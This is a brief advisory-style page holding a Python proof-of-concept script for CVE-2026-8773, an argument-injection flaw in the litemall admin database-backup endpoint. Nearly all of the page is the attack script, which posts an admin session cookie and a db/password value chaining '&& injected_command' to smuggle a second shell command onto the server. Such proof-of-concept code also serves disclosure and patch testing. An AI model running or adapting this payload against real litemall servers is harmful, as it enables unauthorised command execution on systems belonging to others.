CVE-2026-8773 linlinjava litemall参数注入漏洞

import requests # PoC for CVE-2026-8773 # Target: linlinjava litemall <= 1.8.0 # Description: Argument Injection via db/password parameter target_url = "http://target-host:port/admin/db/backup" # Attacker needs High Privileges (PR:H) cookies = { "token": "valid_admin_session_token" } # Malicious payload injection in the password field # Example payload might include command separators or specific arguments payload = "valid_password && injected_command" data = { "db/host": "localhost", "db/port": "3306", "db/name": "litemall", "db/username": "root", "db/password": payload } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check server response for confirmation.") else: print("[-] Request failed.")